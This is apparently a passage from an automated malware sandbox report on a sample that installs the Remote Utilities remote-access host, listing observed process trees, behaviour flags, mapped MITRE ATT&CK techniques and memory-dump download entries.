- C:\Program Files (x86)\Remote Utilities - Host\rutserv.exe
  "C:\Program Files (x86)\Remote Utilities - Host\rutserv.exe" /start
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3896

C:\Program Files (x86)\Remote Utilities - Host\rutserv.exe
"C:\Program Files (x86)\Remote Utilities - Host\rutserv.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3580
- C:\Program Files (x86)\Remote Utilities - Host\rfusclient.exe
  "C:\Program Files (x86)\Remote Utilities - Host\rfusclient.exe" /tray
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1608
- C:\Program Files (x86)\Remote Utilities - Host\rfusclient.exe
  "C:\Program Files (x86)\Remote Utilities - Host\rfusclient.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:1328
- - C:\Program Files (x86)\Remote Utilities - Host\rfusclient.exe
    "C:\Program Files (x86)\Remote Utilities - Host\rfusclient.exe" /tray
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:3836

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:784

\??\c:\windows\system32\taskkill.EXE
c:\windows\system32\taskkill.EXE /F /FI "USERNAME eq Admin" /IM rfusclient.exe
1⤵
- Kills process with taskkill
- Suspicious behavior: EnumeratesProcesses
PID:3560

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File Deletion

T1107

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1328-201-0x0000000000BE0000-0x0000000000BE1000-memory.dmp

Download

memory/1608-198-0x0000000000BE0000-0x0000000000BE1000-memory.dmp

Download

memory/2388-133-0x0000000002A10000-0x0000000002A11000-memory.dmp

Download

memory/2496-141-0x00000000016A0000-0x00000000016A1000-memory.dmp

Download

memory/3432-144-0x00000000015A0000-0x00000000015A1000-memory.dmp

Download

memory/3580-205-0x00000000042F0000-0x00000000042F1000-memory.dmp

Download

memory/3580-190-0x0000000003490000-0x0000000003491000-memory.dmp

Download

memory/3580-204-0x00000000042A0000-0x00000000042A1000-memory.dmp

Download

memory/3580-206-0x0000000004340000-0x0000000004341000-memory.dmp

Download

memory/3580-203-0x0000000004110000-0x0000000004111000-memory.dmp

Download

memory/3580-231-0x0000000004120000-0x0000000004121000-memory.dmp

Download

memory/3580-202-0x0000000003520000-0x0000000003521000-memory.dmp

Download

memory/3580-199-0x0000000003510000-0x0000000003511000-memory.dmp

Download

memory/3580-200-0x00000000034E0000-0x00000000034E1000-memory.dmp

Download

memory/3580-197-0x00000000034F0000-0x00000000034F1000-memory.dmp

Download

memory/3580-196-0x0000000005360000-0x0000000005361000-memory.dmp

Download

memory/3580-195-0x00000000034A0000-0x00000000034A1000-memory.dmp

Download

memory/3580-189-0x0000000003470000-0x0000000003471000-memory.dmp

Download

memory/3580-230-0x0000000004610000-0x0000000004611000-memory.dmp

Download

memory/3580-158-0x0000000001240000-0x0000000001241000-memory.dmp

Download

memory/3580-188-0x0000000003440000-0x0000000003441000-memory.dmp

Download

memory/3580-187-0x0000000003430000-0x0000000003431000-memory.dmp

Download

memory/3836-232-0x0000000000BE0000-0x0000000000BE1000-memory.dmp

Download

memory/3896-154-0x0000000003200000-0x0000000003201000-memory.dmp

Download